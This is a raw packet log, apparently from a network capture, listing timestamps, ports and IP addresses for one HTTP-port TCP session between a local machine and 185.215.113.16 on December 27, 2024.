Dec 27, 2024 09:00:26.756009102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.756020069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.756064892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.756064892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.756226063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.756237030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.756247044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.756288052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.756716013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.756750107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.756764889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.756793022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.756817102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.756901979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.756920099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.756932020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.756949902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.756969929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.757009029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.757177114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.757189035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.757200003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.757227898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.757666111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.757685900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.757698059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.757740974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.757762909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.757900953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.757913113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.757925034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.757937908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.757966042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.757982016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.758111954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.758122921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.758133888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.758183002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.758594036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.758644104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.758673906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.789730072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.789774895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.789788008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.789894104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.789895058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.789932966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.789946079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.789957047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.790095091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.790095091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.790174007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.790193081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.790205002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.790319920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.790340900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.790354013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.790364981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.790378094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.790409088 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.790409088 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.790518045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.790612936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.790625095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.790652037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.790699959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.790774107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.790785074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.790796995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.790810108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.790863991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.790863991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.790983915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.790996075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.791007042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.791070938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.791414022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.791471004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.791484118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.791532993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.791532993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.791555882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.846685886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.953286886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.953340054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.953356981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.953476906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.953490973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.953493118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.953509092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.953526020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.953536987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.953564882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.953598976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.953624010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.953645945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.953691959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.953737974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.953757048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.953917980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.953968048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.953984022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.954008102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.954034090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.954108000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.954123974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.954148054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.954164982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.954169989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.954225063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.954305887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.954322100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.954339981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.954376936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.954895020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.954926968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.954943895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.954957008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.955101013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.955127001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.955142021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.955157995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.955164909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.955185890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.955199003 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.955249071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.955265045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.955288887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.955333948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.955884933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.955900908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.955918074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.955974102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.955974102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.956005096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.956020117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.956037045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.956057072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.956072092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.956144094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.956146955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.956162930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.956178904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.956212044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.956770897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.956788063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.956804991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.956851006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.956851006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.956893921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.956909895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.956924915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.956940889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.956975937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.957001925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.957009077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.957048893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.957071066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.957206011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.957643032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.957680941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.957695961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.957717896 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.957829952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.957843065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.957847118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.957864046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.957880974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.957933903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.957933903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.958007097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.958051920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.958067894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.958142042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.958564043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.958620071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.958626032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.958642006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.958697081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.958769083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.958791971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.958806992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.958823919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.958857059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.958905935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.958921909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.958936930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.958941936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.958986044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.959491968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.959538937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.959554911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.959580898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.959616899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.959700108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.959719896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.959768057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.959785938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.959809065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.959814072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.959861040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.959877014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.959914923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.959914923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.961731911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.991231918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.991343975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.991372108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.991389990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.991406918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.991422892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.991425037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.991442919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.991472960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.991493940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.991560936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.991578102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.991594076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.991628885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.991655111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.991671085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.991728067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.991777897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.991794109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.991874933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.991911888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.991967916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.991983891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.992002010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.992126942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.992142916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.992161036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.992177963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.992178917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.992204905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.992224932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.992261887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.992279053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.992295980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.992327929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.992872000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.992923021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.992933035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.992949963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.992985964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.993052006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.154616117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.154654980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.154673100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.154736042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.154787064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.154803038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.154819965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.154835939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.154860973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.154900074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.154922009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.154985905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.155002117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.155042887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.155069113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.155085087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.155091047 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.155232906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.155364990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.155425072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.155441046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.155488014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.155515909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.155560017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.155561924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.155575991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.155591965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.155630112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.155735970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.155751944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.155776024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.155792952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.155822039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.156277895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.156332970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.156351089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.156409025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.156444073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.156459093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.156476974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.156491995 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.156495094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.156517982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.156616926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.156645060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.156661987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.156723022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.156723022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.157200098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.157234907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.157252073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.157289028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.157386065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.157402992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.157439947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.157496929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.157512903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.157530069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.157546043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.157562017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.157565117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.157596111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.157629013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.158174038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.158199072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.158214092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.158278942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.158358097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.158374071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.158396959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.158412933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.158437014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.158437014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.158487082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.158503056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.158519030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.158600092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.158600092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.159070969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.159156084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.159172058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.159246922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.159257889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.159274101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.159290075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.159307003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.159321070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.159332037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.159424067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.159507990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.159523964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.159585953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.159619093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.160017967 CET	80	49743	185.215.113.16	192.168.2.4
